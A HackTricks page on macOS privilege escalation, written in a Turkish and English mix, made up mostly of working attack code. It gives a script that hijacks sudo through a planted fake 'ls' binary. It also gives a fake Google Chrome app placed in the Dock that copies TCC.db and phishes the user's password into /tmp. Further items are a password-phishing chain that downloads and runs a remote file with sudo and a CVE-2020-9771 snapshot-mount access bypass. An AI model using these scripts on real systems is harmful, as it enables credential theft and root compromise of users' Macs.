macOS Privilege Escalation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

TCC Privilege Escalation

If you came here looking for TCC privilege escalation go to:

macOS TCC

Linux Privesc

Lütfen unutmayın ki Linux/Unix’i etkileyen privilege escalation ile ilgili hilelerin çoğu aynı zamanda MacOS makinelerini de etkiler. Bu yüzden bakın:

Linux Privilege Escalation

Kullanıcı Etkileşimi

Sudo Hijacking

Orijinal Sudo Hijacking technique inside the Linux Privilege Escalation post içinde bulabilirsiniz.

Ancak, macOS kullanıcı sudo çalıştırdığında kullanıcının PATH’ini korur. Bu da bu saldırıyı gerçekleştirmenin başka bir yolunun, mağdurun sudo çalıştırırken çalıştıracağı başka ikili dosyaları hijack other binaries olması anlamına gelir:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Note that a user that uses the terminal will highly probable have Homebrew yüklü. So it’s possible to hijack binaries in /opt/homebrew/bin.

Dock Impersonation

Birkaç social engineering kullanarak örneğin Dock içinde Google Chrome’u taklit edebilir ve aslında kendi script’inizi çalıştırabilirsiniz:

Bazı öneriler:

  • Dock’ta Chrome olup olmadığını kontrol edin ve eğer varsa o girdiyi kaldırın ve Dock dizisinde aynı pozisyona sahte Chrome girdisini ekleyin.
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

Password prompt phishing + sudo reuse

Malware frequently abuses user interaction to sudo yetkisi olan bir parolayı yakalar ve bunu programatik olarak yeniden kullanır. Yaygın bir akış:

  1. Giriş yapmış kullanıcıyı whoami ile belirleyin.
  2. Parola istemlerini döngüye alın; dscl . -authonly "$user" "$pw" başarılı dönene kadar.
  3. Kimlik bilgilerini önbelleğe alın (ör. /tmp/.pass) ve ayrıcalıklı işlemleri sudo -S ile çalıştırın (parola stdin üzerinden).

Örnek minimal zincir:

user=$(whoami)
while true; do
read -s -p "Password: " pw; echo
dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

Çalınan parola daha sonra Gatekeeper karantinasını xattr -c ile temizlemek, LaunchDaemons veya diğer ayrıcalıklı dosyaları kopyalamak ve ek aşamaları etkileşimsiz olarak çalıştırmak için yeniden kullanılabilir.

TCC - Root Privilege Escalation

CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation

Herhangi bir kullanıcı (hatta ayrıcalıksız olanlar bile) time machine snapshot oluşturup bağlayabilir ve bu anlık görüntünün TÜM dosyalarına erişebilir.
Tek gerekli ayrıcalık, kullanılan uygulamanın (örn. Terminal) Full Disk Access (FDA) erişimine (kTCCServiceSystemPolicyAllfiles) sahip olmasıdır; bu erişim bir admin tarafından verilmelidir.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Daha ayrıntılı bir açıklama found in the original report.

Hassas Bilgiler

Bu, ayrıcalıkları yükseltmek için faydalı olabilir:

macOS Sensitive Locations & Interesting Daemons

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin